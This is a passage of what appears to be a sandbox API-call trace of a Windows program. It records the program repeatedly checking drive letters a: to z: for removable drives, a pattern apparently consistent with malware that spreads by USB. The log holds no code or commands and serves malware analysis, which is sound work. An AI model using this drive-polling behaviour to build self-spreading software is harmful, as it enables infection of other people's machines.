lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.159] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.159] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.160] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.160] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.160] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.160] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.160] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.160] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.161] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.161] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.161] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.161] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.161] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.161] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.162] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.162] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.162] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.162] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.162] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.162] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.162] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.163] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.163] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.163] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.163] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.163] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14b0 | out: hHeap=0xe80000) returned 1 [0171.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0171.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.164] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0171.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0171.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0171.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.165] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0171.165] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0171.165] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0171.180] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf408 [0171.180] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe598 [0171.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.181] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0171.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe598 | out: hHeap=0xe80000) returned 1 [0171.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0171.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0171.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec3d0 [0171.181] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.182] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec3d0 | out: hHeap=0xe80000) returned 1 [0171.182] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2958 | out: hHeap=0xe80000) returned 1 [0171.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0171.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0171.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.184] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.184] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0171.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0171.184] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.184] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0171.184] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.184] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.186] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0171.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0171.186] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.186] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.186] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.187] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.187] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.187] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.187] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.187] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.187] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.188] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.188] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.188] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.188] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.188] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.189] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.189] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.189] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.189] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.189] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.190] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.190] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.190] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.190] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.190] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.190] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.191] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.191] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0171.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0171.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.192] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0171.193] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.193] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.193] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.193] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.193] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.193] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.193] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0171.193] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.193] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.193] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe578 [0171.193] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.193] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.193] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.193] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.193] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe578 | out: hHeap=0xe80000) returned 1 [0171.193] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.193] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0171.193] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0171.193] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.194] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0171.194] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.195] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.195] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.195] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0171.195] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.195] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.195] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.195] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.196] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0171.196] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.196] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.196] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0171.196] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0171.196] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.196] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0171.196] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.196] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.197] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.198] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076880 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.198] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.198] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf428 [0171.198] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.198] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.198] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.199] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.199] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.199] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.199] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.199] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.200] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.200] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.200] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.200] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.200] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.200] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.201] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.201] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.201] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.201] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.201] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.202] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.202] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.202] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.202] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.202] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.202] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.203] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.203] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.203] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.204] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.204] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0171.204] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.204] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.205] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.205] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0171.205] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.205] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.205] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0171.205] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.205] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.205] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.205] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.206] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0171.206] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0171.206] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.206] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe798 [0171.206] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0171.206] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.206] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0171.206] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0171.206] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe798 | out: hHeap=0xe80000) returned 1 [0171.206] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0171.206] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0171.206] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0171.206] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.207] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb50 | out: hHeap=0xe80000) returned 1 [0171.207] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.208] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.208] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0171.208] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.208] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.208] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.208] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0171.208] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0171.209] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.209] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.209] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.209] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0171.209] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0171.209] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.209] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0171.209] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0171.209] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.210] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0171.210] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0171.210] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10768b0 [0171.210] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed28c8 [0171.210] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0171.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0171.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0171.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0171.211] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0171.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0171.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0171.211] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0171.211] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.211] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.211] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.212] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.212] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.212] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 